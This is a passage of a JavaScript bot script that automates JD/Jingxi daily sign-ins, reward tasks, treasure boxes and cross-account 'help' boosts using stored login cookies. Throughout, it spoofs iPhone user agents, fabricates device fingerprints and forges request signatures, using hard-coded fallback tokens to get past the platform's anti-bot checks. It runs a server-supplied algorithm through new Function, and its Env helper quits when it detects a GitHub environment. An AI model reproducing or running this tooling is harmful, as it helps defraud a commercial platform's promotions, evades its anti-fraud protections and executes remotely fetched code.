0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA, UAInfo = {}, isLoginInfo = {}; +$.shareCodes = []; +$.blackInfo = {} +const JX_FIRST_RUNTASK = $.isNode() ? (process.env.JX_FIRST_RUNTASK && process.env.JX_FIRST_RUNTASK === 'xd' ? '5' : '1000') : ($.getdata('JX_FIRST_RUNTASK') && $.getdata('JX_FIRST_RUNTASK') === 'xd' ? '5' : '1000') +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (i === 0) console.log(`\n正在收集助力码请等待\n`) + if (!isLoginInfo[$.UserName]) continue + if (JX_FIRST_RUNTASK === '5') { + $.signhb_source = '5' + await requestAlgo(); + } else if (JX_FIRST_RUNTASK === '1000') { + $.signhb_source = '1000' + await requestAlgo(); + } + await signhb(1) + await $.wait(500) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = UAInfo[$.UserName] + if (JX_FIRST_RUNTASK === '5') { + console.log(`开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await requestAlgo(); + await main() + console.log(`\n开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await requestAlgo(); + await main(false) + } else if (JX_FIRST_RUNTASK === '1000') { + console.log(`开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await requestAlgo(); + await main() + console.log(`\n开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await requestAlgo(); + await main(false) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +async function main(help = true) { + $.commonlist = [] + $.bxNum = [] + $.black = false + $.canHelp = true + await signhb(2) + await $.wait(2000) + if (!$.sqactive && $.signhb_source === '5') { + console.log(`未选择自提点,跳过执行`) + return + } + if (help) { + if ($.canHelp) { + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部互助\n`) + for (let j = 0; j < $.shareCodes.length; j++) { + if ($.shareCodes[j].num == $.shareCodes[j].domax) { + $.shareCodes.splice(j, 1) + j-- + continue + } + if ($.shareCodes[j].use === $.UserName) { + console.log(`不能助力自己`) + continue + } + console.log(`账号 ${$.UserName} 去助力 ${$.shareCodes[j].use} 的互助码 ${$.shareCodes[j].smp}`) + if ($.shareCodes[j].max) { + console.log(`您的好友助力已满`) + continue + } + await helpSignhb($.shareCodes[j].smp) + await $.wait(2000) + if (!$.black) $.shareCodes[j].num++ + break + } + } + } else { + console.log(`今日已签到,无法助力好友啦~`) + } + } + if (!$.black) { + await helpSignhb() + if ($.commonlist && $.commonlist.length) { + console.log(`开始做${$.taskName}任务`) + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log(`${$.taskName}任务已完成`) + } + if ($.bxNum && $.bxNum.length) { + for (let j = 0; j < $.bxNum[0].bxNum; j++) { + await bxdraw() + await $.wait(2000) + } + } + if ($.signhb_source === '1000') await SignedInfo() + } else { + console.log(`此账号已黑`) + } + await $.wait(2000) +} + +// 查询信息 +function signhb(type = 1) { + let body = ''; + if ($.signhb_source === '5') body = `type=0&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if ($.signhb_source === '5') { + $.sqactive = ''; + if (!data.sqactive) return + $.sqactive = data.sqactive + } + const { + smp, + commontask, + sharetask, + signlist = [] + } = data + let domax, helppic, status + if (sharetask) { + domax = sharetask.domax + helppic = sharetask.helppic + status = sharetask.status + } + let helpNum = 0 + if (helppic) helpNum = helppic.split(";").length - 1 + switch (type) { + case 1: + if (status === 1) { + let max = false + if (helpNum == domax) max = true + $.shareCodes.push({ + 'use': $.UserName, + 'smp': smp, + 'num': helpNum || 0, + 'max': max, + 'domax': domax + }) + } + break + case 2: + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + console.log(`今日已签到`) + $.canHelp = false + } else { + console.log(`今日未签到`) + } + } + } + console.log(`【签到互助码】${smp}`) + if (helpNum) console.log(`已有${helpNum}人助力`) + if (commontask) { + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + console.log(`可开启宝箱${data.baoxiang_left}个`) + $.bxNum.push({ + 'bxNum': data.baoxiang_left + }) + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 签到 助力 +function helpSignhb(smp = '') { + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", `type=1&signhb_source=${$.signhb_source}&smp=${smp}&ispp=1&tk=`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} query助力 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + signlist = [] + } = data + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + // console.log(`今日已签到`) + } else { + console.log(`此账号已黑`) + $.black = true + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + let body; + if ($.signhb_source === '5') { + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/dotask", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `完成任务 获得${data.sendxd}喜豆` : `完成任务 获得${data.sendhb}红包`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +// 宝箱 +function bxdraw() { + let body; + if ($.signhb_source === '5') { + body = `ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/bxdraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} bxdraw API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `开启宝箱 获得${data.sendxd}喜豆` : `开启宝箱 获得${data.sendhb}红包`); + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 双签 +function SignedInfo() { + return new Promise(resolve => { + $.get(JDtaskUrl("SignedInfo", `_=${Date.now()}`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} SignedInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { data: { jd_sign_status, jx_sign_status, double_sign_status } } = data + if (data.retCode === 0) { + if (double_sign_status === 0) { + if (jd_sign_status === 1 && jx_sign_status === 1) { + await IssueReward() + } else { + console.log(`京东或京喜未签到,无法双签`) + } + } else { + console.log(`已完成双签`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function IssueReward() { + return new Promise(resolve => { + $.get(JDtaskUrl("IssueReward"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} IssueReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.retCode === 0){ + console.log(`双签成功:获得${data.data.jx_award}京豆`) + } else { + console.log(`任务完成失败,错误信息${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function JDtaskUrl(functionId, body = '') { + let url = `https://wq.jd.com/jxjdsignin/${functionId}?${body ? `${body}&` : ''}sceneval=2&g_login_type=1&g_ty=ajax` + return { + url, + headers: { + "Host": "wq.jd.com", + "Accept": "application/json", + "Origin": "https://wqs.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://wqs.jd.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + if ($.signhb_source === '5') { + $.appId = 10038; + } else { + $.appId = 10028; + } + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 